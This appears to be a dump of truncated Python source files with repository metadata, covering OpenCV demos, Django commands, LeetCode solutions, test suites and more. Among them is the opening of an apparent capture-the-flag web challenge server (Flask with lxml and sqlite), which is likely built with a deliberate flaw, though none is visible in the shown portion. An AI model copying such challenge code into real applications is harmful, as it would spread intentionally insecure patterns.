# -*- coding: utf-8 -*- """ Created on Mon Aug 31 11:41:45 2020 @author: U2-User02 """ # Ab Python 3.8 müssen dlls als vertrauenswürdig markiert werden. # Deshalb ab 3.8.x von den unteren beiden Anweisungen den # Kommentar entfernen und den Pfad zum Projektverzeichnis # korrekt angeben import os os.a...
27.116667
86
0.499078
452ffe1b6215421e8a342957d2b716cefc08e4bc
818
py
Python
src/01_format.py
fablab-ka/labdo-python-video
9ce9ef6c08f4989bc3d8c2f00c029589a94770aa
[ "Unlicense" ]
1
2016-09-22T18:31:15.000Z
2016-09-22T18:31:15.000Z
src/01_format.py
fablab-ka/labdo-python-video
9ce9ef6c08f4989bc3d8c2f00c029589a94770aa
[ "Unlicense" ]
null
null
null
src/01_format.py
fablab-ka/labdo-python-video
9ce9ef6c08f4989bc3d8c2f00c029589a94770aa
[ "Unlicense" ]
null
null
null
import cv2, imutils, time import numpy as np camera = cv2.VideoCapture(0) time.sleep(0.25) while True: (grabbed, frame) = camera.read() if not grabbed: break frame = imutils.resize(frame, width=400) h, w, _ = frame.shape blank_image = np.zeros((h*2, w*2, 3), np.uint8) blank_image[0:h, 0:w, 0] = fr...
20.974359
49
0.594132
e152ad1bb8d236b7bd286d5360c6318d122f1f0e
6,829
py
Python
4_DeepLearning-Advanced/4-Regularisierung_BatchNormalization_Layer.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
4_DeepLearning-Advanced/4-Regularisierung_BatchNormalization_Layer.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
4_DeepLearning-Advanced/4-Regularisierung_BatchNormalization_Layer.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
''' BatchNormalization Layer: normalisiert die Werte aus jeder Batch (Daten die parallel verarbeitet werden) die der Dense/ConvLayer "ausgibt" um Werte die zuweit links/rechts liegen anzupassen, damit das Netz konsistent in einem Bereich bleibt. wird nach dem Conv2D oder Dense Layer eingefügt also VOR der Aktivieru...
30.623318
91
0.640211
e19ca7b67ff87b7b8e2f4285a62081a635889657
298
py
Python
products/management/commands/analize.py
silver-whale-enterprises-llc/amzproduzer
25e63f64b0ef09241475c72af9a710dcb7d9e926
[ "Apache-2.0" ]
1
2019-07-22T14:03:11.000Z
2019-07-22T14:03:11.000Z
products/management/commands/analize.py
silver-whale-enterprises-llc/amzproduzer
25e63f64b0ef09241475c72af9a710dcb7d9e926
[ "Apache-2.0" ]
null
null
null
products/management/commands/analize.py
silver-whale-enterprises-llc/amzproduzer
25e63f64b0ef09241475c72af9a710dcb7d9e926
[ "Apache-2.0" ]
null
null
null
from django.core.management.base import BaseCommand, CommandError class Command(BaseCommand): help = 'Closes the specified poll for voting' def add_arguments(self, parser): parser.add_argument('poll_id', nargs='+', type=int) def handle(self, *args, **options): pass
24.833333
65
0.691275
3d0ce5a9ff2b5427b6369df62ecdde5eac377104
960
py
Python
vplan_api_test.py
zlyfer/Vertretungsplan-Client-BBS2-Emden
eb9e1e28f0e76465003ae7e54e3ce37d28feb9a6
[ "MIT" ]
null
null
null
vplan_api_test.py
zlyfer/Vertretungsplan-Client-BBS2-Emden
eb9e1e28f0e76465003ae7e54e3ce37d28feb9a6
[ "MIT" ]
null
null
null
vplan_api_test.py
zlyfer/Vertretungsplan-Client-BBS2-Emden
eb9e1e28f0e76465003ae7e54e3ce37d28feb9a6
[ "MIT" ]
null
null
null
import json import requests print ("available parameter: Kurs, Stunde, Fach, Raum, Lehrer, Info, Vertretungstext, Datum, kurs, stunde, fach, raum, lehrer, info, vertretungstext, datum") print ("parameter example: Kurs=BG-13 > searches for BG-13") print ("parameter example: kurs=false > disables kurs") print ("use %20 f...
35.555556
157
0.664583
a1511020a0b4ec59a5d4bc29bb40da804f4c3a7c
334
py
Python
leetcode/280-Wiggle-Sort/WiggleSort.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2017-05-18T06:11:02.000Z
2017-05-18T06:11:02.000Z
leetcode/280-Wiggle-Sort/WiggleSort.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
leetcode/280-Wiggle-Sort/WiggleSort.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
class Solution(object): def wiggleSort(self, nums): """ :type nums: List[int] :rtype: void Do not return anything, modify nums in-place instead. """ for i in range(len(nums) - 1): if (i % 2) ^ (nums[i] > nums[i + 1]): nums[i], nums[i + 1] = nums[i ...
33.4
74
0.488024
9adb1abf96ac096c2af8034bdac8f842fe3a9b33
720
py
Python
etc/db/deleter.py
huberthoegl/tsgrain
405d0ba8b98c2afa950d27294e55cd1e07506db4
[ "Apache-2.0" ]
1
2021-06-15T08:59:02.000Z
2021-06-15T08:59:02.000Z
etc/db/deleter.py
huberthoegl/tsgrain
405d0ba8b98c2afa950d27294e55cd1e07506db4
[ "Apache-2.0" ]
null
null
null
etc/db/deleter.py
huberthoegl/tsgrain
405d0ba8b98c2afa950d27294e55cd1e07506db4
[ "Apache-2.0" ]
null
null
null
# tinydb.readthedocs.io/en/latest/getting-started.html from tinydb import TinyDB, Query, where from tinydb.operations import delete # delete? db = TinyDB('dbtest.json') ablaeufe = db.table('Ablaufliste', cache_size=0) n = 0 while True: s = input("{}>".format(n)) if s == "s": for a in ablaeufe: ...
19.459459
54
0.579167
b8f77b0c99b4e39dce917cdde140990be1c0f0c0
12,036
py
Python
src/onegov/agency/pdf.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/agency/pdf.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/agency/pdf.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from datetime import date from io import BytesIO from onegov.agency.utils import handle_empty_p_tags from onegov.core.utils import module_path from onegov.pdf import page_fn_footer from onegov.pdf import page_fn_header_and_footer from onegov.pdf import page_fn_header_logo from onegov.pdf import Pdf from os import path...
30.704082
77
0.567963
65c9059f840d1afddaf9d5bd3ce6c44c35b56fe5
2,421
py
Python
udacity course code/01-08-fitapolyusingoptimizer.py
bluemurder/mlfl
b895b2f1d01b0f6418a5bcee2f204dd7916062f0
[ "MIT" ]
1
2021-03-22T22:25:54.000Z
2021-03-22T22:25:54.000Z
udacity course code/01-08-fitapolyusingoptimizer.py
bluemurder/mlfl
b895b2f1d01b0f6418a5bcee2f204dd7916062f0
[ "MIT" ]
6
2017-01-16T09:53:21.000Z
2017-01-18T12:20:09.000Z
udacity course code/01-08-fitapolyusingoptimizer.py
bluemurder/mlfl
b895b2f1d01b0f6418a5bcee2f204dd7916062f0
[ "MIT" ]
null
null
null
"""Fit a polynomial to a given set of data points using optimization.""" import pandas as pd import matplotlib.pyplot as plt import numpy as np import scipy.optimize as spo def error_poly(C, data): # error function """Compute error between given polynomial and observed data. Parameters ---------- C: ...
33.625
106
0.649732
029f9895c835e115e71b60ef9117492f55292eb4
232
py
Python
Hackerrank_problems/Solve_me_first/Solution2.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
Hackerrank_problems/Solve_me_first/Solution2.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
Hackerrank_problems/Solve_me_first/Solution2.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
#Author : @shashankseth01 #Simple solution for Solve_me_first in python language a=int(input("First integer")) #input first integer b=int(input("Second integer")) #input second integer print(a+b) #Calculate and print sum
33.142857
55
0.741379
02a494c28974a27c2c29f718c4b5c81b71564fd9
1,235
py
Python
watchlist_app/management/commands/populateandserve.py
attachemd/moviedb
c2e3b7bc3c1537c64834c2ee94492122dafdfcd4
[ "MIT" ]
null
null
null
watchlist_app/management/commands/populateandserve.py
attachemd/moviedb
c2e3b7bc3c1537c64834c2ee94492122dafdfcd4
[ "MIT" ]
null
null
null
watchlist_app/management/commands/populateandserve.py
attachemd/moviedb
c2e3b7bc3c1537c64834c2ee94492122dafdfcd4
[ "MIT" ]
null
null
null
from django.core.management.base import BaseCommand from subprocess import Popen, run from sys import stdout, stdin, stderr import time import os import signal class Command(BaseCommand): help = 'Run all commands' commands = { 1: 'python manage.py migrate', 2: 'python manage.py createdata', ...
30.121951
104
0.583806
02dbecac7b2b3261d0c439295ac1e7d6f9dbeaa2
9,651
py
Python
tests/onegov/election_day/layouts/test_election_compound_layout.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/election_day/layouts/test_election_compound_layout.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/election_day/layouts/test_election_compound_layout.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from datetime import date from freezegun import freeze_time from onegov.ballot import Election from onegov.ballot import ElectionCompound from onegov.ballot import ElectionResult from onegov.ballot import PanachageResult from onegov.ballot import PartyResult from onegov.ballot import ProporzElection from onegov.electio...
36.977011
79
0.651642
b874909b44abbb4ecb84e40ab5559b5aad7e7e0b
11,982
py
Python
wz/ui/template_fill.py
gradgrind/WZ
672d93a3c9d7806194d16d6d5b9175e4046bd068
[ "Apache-2.0" ]
null
null
null
wz/ui/template_fill.py
gradgrind/WZ
672d93a3c9d7806194d16d6d5b9175e4046bd068
[ "Apache-2.0" ]
null
null
null
wz/ui/template_fill.py
gradgrind/WZ
672d93a3c9d7806194d16d6d5b9175e4046bd068
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ ui/template_fill.py Last updated: 2021-05-20 Show template fields, set values and process template. =+LICENCE============================= Copyright 2021 Michael Towers Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance w...
31.122078
77
0.603906
cbf3cdfefb12f35711862dd1fc5c53736079e1a1
8,179
py
Python
Packs/FeedRSS/Integrations/FeedRSS/FeedRSS.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/FeedRSS/Integrations/FeedRSS/FeedRSS.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/FeedRSS/Integrations/FeedRSS/FeedRSS.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import email.utils from time import mktime import feedparser from CommonServerPython import * from bs4 import BeautifulSoup HTML_TAGS = ['p', 'table', 'ul', 'ol', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'] INTEGRATION_NAME = 'RSS Feed' class Client(BaseClient): """Client for RSS Feed - gets Reports from the website ...
42.82199
121
0.613767
ce9ea7bbd71126066b4ce02f2d8dd7a80b1b61de
2,684
py
Python
LIT/2021/web/alexfanclubapi/alexfanclubapi.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
LIT/2021/web/alexfanclubapi/alexfanclubapi.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
LIT/2021/web/alexfanclubapi/alexfanclubapi.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
import sqlite3 import requests from flask import Flask, render_template, g, request, redirect from lxml import etree import base64 import time app = Flask(__name__) DATABASE = "db" def get_db(): db = getattr(g, "_database", None) if db is None: db = g._database = sqlite3.connect(DATABASE) return ...
33.974684
293
0.643443
0c7007a720c64f7d66ec1c10f7a49ca8ac5aa350
2,590
py
Python
quizpptx/utils.py
obitastico/QuizPowerPointCreator
c421d0ec84308b4ac20f71b9d7729a0cd2d40da5
[ "MIT" ]
null
null
null
quizpptx/utils.py
obitastico/QuizPowerPointCreator
c421d0ec84308b4ac20f71b9d7729a0cd2d40da5
[ "MIT" ]
null
null
null
quizpptx/utils.py
obitastico/QuizPowerPointCreator
c421d0ec84308b4ac20f71b9d7729a0cd2d40da5
[ "MIT" ]
null
null
null
import json import os from os import PathLike from os.path import abspath from pathlib import Path from random import shuffle from time import sleep from typing import Union, Optional from pptx import Presentation from pptx.enum.text import PP_PARAGRAPH_ALIGNMENT as PP_ALIGN from pptx.shapes.autoshape import Shape fro...
32.375
109
0.691506
0ba4dd9157a1958f9d631eaf3f570289a5c09ac8
706
py
Python
leetcode/093-Restore-IP-Addresses/RestoreIPAddresses_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2017-05-18T06:11:02.000Z
2017-05-18T06:11:02.000Z
leetcode/093-Restore-IP-Addresses/RestoreIPAddresses_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
leetcode/093-Restore-IP-Addresses/RestoreIPAddresses_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
class Solution: # @param {string} s # @return {string[]} def restoreIpAddresses(self, s): return self.segIp(s, 4) def segIp(self, s, nsegs): res = [] if len(s) > 3 * nsegs or len(s) < nsegs: return res if nsegs == 1: if s == '0' or (s[0] != '0' a...
26.148148
64
0.40085
650854174225a4263f6430aa15f05ae64ce7acf0
3,830
py
Python
lbry/lbry/wallet/server/db/trending.py
xeddmc/lbry
af1c8ec35ce394d6b09acc02ed650879ef06a2f4
[ "MIT" ]
null
null
null
lbry/lbry/wallet/server/db/trending.py
xeddmc/lbry
af1c8ec35ce394d6b09acc02ed650879ef06a2f4
[ "MIT" ]
4
2020-10-27T21:53:05.000Z
2022-02-11T03:10:54.000Z
lbry/lbry/wallet/server/db/trending.py
braveheart12/lbry-sdk
dc709b468f9dce60d206161785def5c7ace2b763
[ "MIT" ]
null
null
null
from math import sqrt TRENDING_WINDOW = 650 # number of blocks, ~24hr period TRENDING_DATA_POINTS = 7 # WINDOW * DATA_POINTS = ~1 week worth of trending data CREATE_TREND_TABLE = """ create table if not exists trend ( claim_hash bytes not null, height integer not null, amount integer not...
33.596491
98
0.648303
9bfaaf81c7f19d03e237638c73b3302880dd2018
2,444
py
Python
src/gvz/urls.py
Integreat/gemeindeverzeichnis-django
0089b97ea02b4741263c37357260c497b66a306d
[ "Apache-2.0" ]
7
2021-04-24T19:11:15.000Z
2021-10-30T12:59:16.000Z
src/gvz/urls.py
Integreat/gemeindeverzeichnis-django
0089b97ea02b4741263c37357260c497b66a306d
[ "Apache-2.0" ]
10
2021-04-25T10:25:12.000Z
2021-04-26T17:55:20.000Z
src/gvz/urls.py
Integreat/gemeindeverzeichnis-django
0089b97ea02b4741263c37357260c497b66a306d
[ "Apache-2.0" ]
null
null
null
""" Map of GVZ URLs to views """ # pylint: disable=R0903 from django.urls import path, include, re_path from django_filters.rest_framework import DjangoFilterBackend from rest_framework import routers, serializers, viewsets from rest_framework import filters from .models import AdministrativeDivision, ZipCode from .v...
35.42029
89
0.694354
500fee65039b77d23f07f338b52d95277e36a443
55,299
py
Python
Contrib-Microsoft/Olympus_rack_manager/python-ocs/wcscli/wcs_action.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
5
2019-11-11T07:57:26.000Z
2022-03-28T08:26:53.000Z
Contrib-Microsoft/Olympus_rack_manager/python-ocs/wcscli/wcs_action.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
3
2019-09-05T21:47:07.000Z
2019-09-17T18:10:45.000Z
Contrib-Microsoft/Olympus_rack_manager/python-ocs/wcscli/wcs_action.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
11
2019-07-20T00:16:32.000Z
2022-01-11T14:17:48.000Z
# Copyright (C) Microsoft Corporation. All rights reserved. # This program is free software; you can redistribute it # and/or modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # -*- codi...
40.901627
147
0.542234
a868fed07b46df19d3e4bf13d98c52788a6ad0f8
436
py
Python
Project Euler Qusetions 51 - 60/Project Euler Question 55.py
Clayton-Threm/Coding-Practice
6671e8a15f9e797338caa617dae45093f4157bc1
[ "MIT" ]
1
2020-02-11T02:03:02.000Z
2020-02-11T02:03:02.000Z
Project Euler Qusetions 51 - 60/Project Euler Question 55.py
Clayton-Threm/Coding-Practice
6671e8a15f9e797338caa617dae45093f4157bc1
[ "MIT" ]
null
null
null
Project Euler Qusetions 51 - 60/Project Euler Question 55.py
Clayton-Threm/Coding-Practice
6671e8a15f9e797338caa617dae45093f4157bc1
[ "MIT" ]
null
null
null
#Project Euler Question 55 #Lychrel numbers def pal(x): num = str(x) if num == num[::-1]: return True else: return False lychrel_list = [] for x in range(1, 10000): sum_x = x for y in range(1, 50): pal_x = str(sum_x)[::-1] sum_x += int(pal_x) if pal(sum_x) ...
18.166667
32
0.538991
a8bb4f4e7a3b4b19e000ec08b2f03d15a923d822
403
py
Python
exercises/zh/exc_01_11.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/zh/exc_01_11.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/zh/exc_01_11.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
import spacy # 导入Matcher from spacy.____ import ____ nlp = spacy.load("zh_core_web_sm") doc = nlp("苹果公布了预购细节,泄露了即将到来的iPhone X的发布日期。") # 用模型分享的词汇表初始化Matcher matcher = ____(____.____) # 创建一个模板来匹配这两个词符:"iPhone"和"X" pattern = [____] # 把模板加入到matcher中 ____.____("IPHONE_X_PATTERN", None, ____) # 在doc中使用matcher matches =...
19.190476
76
0.746898
8c43148355e503dea3c7ad9b357665b7f042f95f
3,315
py
Python
etl/io_config/cloudwatch.py
cloud-cds/cds-stack
d68a1654d4f604369a071f784cdb5c42fc855d6e
[ "Apache-2.0" ]
6
2018-06-27T00:09:55.000Z
2019-03-07T14:06:53.000Z
etl/io_config/cloudwatch.py
cloud-cds/cds-stack
d68a1654d4f604369a071f784cdb5c42fc855d6e
[ "Apache-2.0" ]
3
2021-03-31T18:37:46.000Z
2021-06-01T21:49:41.000Z
etl/io_config/cloudwatch.py
cloud-cds/cds-stack
d68a1654d4f604369a071f784cdb5c42fc855d6e
[ "Apache-2.0" ]
3
2020-01-24T16:40:49.000Z
2021-09-30T02:28:55.000Z
import boto3, botocore from etl.core.environment import Environment import datetime as dt import logging logging.getLogger('boto').setLevel(logging.CRITICAL) logging.getLogger('boto3').setLevel(logging.CRITICAL) logging.getLogger('botocore').setLevel(logging.CRITICAL) class Cloudwatch: def __init__(self): FLAGS ...
33.15
84
0.657617
4fb9a474322b631f1937fb0034d98f252a2f813e
11,068
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/simpla/_platoon.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/simpla/_platoon.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/simpla/_platoon.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2017-2020 German Aerospace Center (DLR) and others. # This program and the accompanying materials are made available under the # terms of the Eclipse Public License 2.0 which is available at # https://www.eclipse.org/legal/epl-2....
36.528053
119
0.607879
8c7462c365820c6458547a259eced08e8d71d803
3,615
py
Python
noUse/gen_cs_proto_msg_ids.py
thanklzhang/Proto_Pre
e6d1998aa41b52f01b5244a59fbbbe700d6dd64c
[ "MIT" ]
null
null
null
noUse/gen_cs_proto_msg_ids.py
thanklzhang/Proto_Pre
e6d1998aa41b52f01b5244a59fbbbe700d6dd64c
[ "MIT" ]
null
null
null
noUse/gen_cs_proto_msg_ids.py
thanklzhang/Proto_Pre
e6d1998aa41b52f01b5244a59fbbbe700d6dd64c
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- #!usr/bin/python # coding=gbk import os import string import traceback import openpyxl import sys import time import re import shutil definestr = "" baseDir = os.getcwd() EnumName = "ProtoIDs" def get_proto_file_list(dir, flist): print("\n") print("start get proto files ...") ...
28.242188
101
0.453112
50a8f7e9f2df528c3c079c84641e68564e308adf
1,257
py
Python
___Python/Carsten/p05_random/m01_wuerfeln.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
___Python/Carsten/p05_random/m01_wuerfeln.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
___Python/Carsten/p05_random/m01_wuerfeln.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
import random r = random.Random() Zahlen = 0 augenzahlen = [] def wuerfeln(): return r.randint(1,6) def muenzwurf(): return r.randint(0,1) def lottoziehen(): return r.randint(1,49) def wuerfeln2(): augenzahl = 10 while(augenzahl>6): würfe = [] for i in range...
20.606557
73
0.599045
e85427d3b96a2c3e891e3a03f4160d6ed6f447d2
3,441
py
Python
Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/solutions/ex08_all_palidrome_substrings.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/solutions/ex08_all_palidrome_substrings.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/solutions/ex08_all_palidrome_substrings.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
# Beispielprogramm für das Buch "Python Challenge" # # Copyright 2020 by Michael Inden def all_palindrome_parts_rec(input): results = set() __all_palindrome_parts_rec(input, 0, len(input) - 1, results) return results def __all_palindrome_parts_rec(input, left, right, results): if left >= right: ...
27.75
77
0.700087
d76326db8f53b65fdbce468c3478a47ea0d26797
881
py
Python
Packs/ShiftManagement/Scripts/GetUsersOOO/GetUsersOOO_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/ShiftManagement/Scripts/GetUsersOOO/GetUsersOOO_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/ShiftManagement/Scripts/GetUsersOOO/GetUsersOOO_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
from GetUsersOOO import main import demistomock as demisto from datetime import timedelta, date import json GET_USERS_RESULTS = [{'Type': 1, 'EntryContext': {'DemistoUsers': [{'username': 'batman'}, {'username': 'robin'}]}}] def execute_command(name, args=None): if name == 'getList': tommorow_date = str(...
33.884615
116
0.674234
ad30bfa1c19b1e9d432e2e6eac4f6d7369e46e29
2,956
py
Python
plugins/tff_backend/bizz/todo/__init__.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
null
null
null
plugins/tff_backend/bizz/todo/__init__.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
178
2017-08-02T12:58:06.000Z
2017-12-20T15:01:12.000Z
plugins/tff_backend/bizz/todo/__init__.py
threefoldfoundation/app_backend
b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a
[ "Apache-2.0" ]
2
2018-01-10T10:43:12.000Z
2018-03-18T10:42:23.000Z
# -*- coding: utf-8 -*- # Copyright 2017 GIG Technology NV # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
35.614458
84
0.743572
ad83e8213ef84d699946e5d681aa5973b222fa73
860
py
Python
sqlalchemy/sqlite3/ORM.py
ptracton/ExperimentalPython
a3159226982ec9656bb0f81f6997687da22f4466
[ "MIT" ]
null
null
null
sqlalchemy/sqlite3/ORM.py
ptracton/ExperimentalPython
a3159226982ec9656bb0f81f6997687da22f4466
[ "MIT" ]
null
null
null
sqlalchemy/sqlite3/ORM.py
ptracton/ExperimentalPython
a3159226982ec9656bb0f81f6997687da22f4466
[ "MIT" ]
null
null
null
import sqlalchemy import sqlalchemy.ext.declarative import sqlalchemy.orm # Global Setup db_string = 'sqlite:///sqlalchemy_example.db' db = sqlalchemy.create_engine(db_string) base = sqlalchemy.ext.declarative.declarative_base() class People(base): __tablename__ = 'people' PersonalNumber = sqlalchemy.Column...
34.4
75
0.774419
ad9193aadf7f635054c696f0bbaa7cbd275d97a3
3,021
py
Python
shinrl/solvers/continuous_ddpg/config.py
omron-sinicx/ShinRL
09f4ae274a33d1fc1d9d542f816aef40014af6b5
[ "MIT" ]
34
2021-12-09T07:12:57.000Z
2022-03-11T08:17:20.000Z
shinrl/solvers/continuous_ddpg/config.py
omron-sinicx/ShinRL
09f4ae274a33d1fc1d9d542f816aef40014af6b5
[ "MIT" ]
null
null
null
shinrl/solvers/continuous_ddpg/config.py
omron-sinicx/ShinRL
09f4ae274a33d1fc1d9d542f816aef40014af6b5
[ "MIT" ]
4
2021-12-11T07:48:01.000Z
2022-03-01T23:50:33.000Z
""" Author: Toshinori Kitamura Affiliation: NAIST & OSX """ import enum from enum import auto from inspect import getmembers from typing import ClassVar, Type import chex import jax import optax import shinrl as srl from shinrl import SolverConfig class EXPLORE(enum.IntEnum): oracle = auto() normal = auto()...
27.715596
102
0.67097
d11400a18f3897d0020bff4bd39d1056f6c34210
92
py
Python
nz_tornado02/app/__init__.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
null
null
null
nz_tornado02/app/__init__.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
27
2020-02-12T07:55:58.000Z
2022-03-12T00:19:09.000Z
nz_tornado02/app/__init__.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
2
2020-02-18T01:54:55.000Z
2020-02-21T11:36:28.000Z
from .views import IndexHandler,TindexHandler,DbHandler,DropHandler,AddHandler,SelectHandler
92
92
0.902174
66fecc491e8f997f1d2d3d682585005988e53886
281
py
Python
movie/forms.py
StevenMedina/MovieAPI
805e79d396e197383bce6095febf0252231a1018
[ "MIT" ]
null
null
null
movie/forms.py
StevenMedina/MovieAPI
805e79d396e197383bce6095febf0252231a1018
[ "MIT" ]
null
null
null
movie/forms.py
StevenMedina/MovieAPI
805e79d396e197383bce6095febf0252231a1018
[ "MIT" ]
null
null
null
from django import forms from . import models class MovieForm(forms.ModelForm): class Meta: model = models.Movie fields = [ 'name', 'description', 'summary', 'is_recommended', 'is_active', ]
18.733333
33
0.501779
1de8038c4bd4597643957082062463829d7fc51a
450
py
Python
image_inhance/check_image_low_contrast.py
Vuong02011996/opencv_tools
82e4ff6dc42d3dc404dbdb7b4bec0d267af56daa
[ "MIT" ]
null
null
null
image_inhance/check_image_low_contrast.py
Vuong02011996/opencv_tools
82e4ff6dc42d3dc404dbdb7b4bec0d267af56daa
[ "MIT" ]
null
null
null
image_inhance/check_image_low_contrast.py
Vuong02011996/opencv_tools
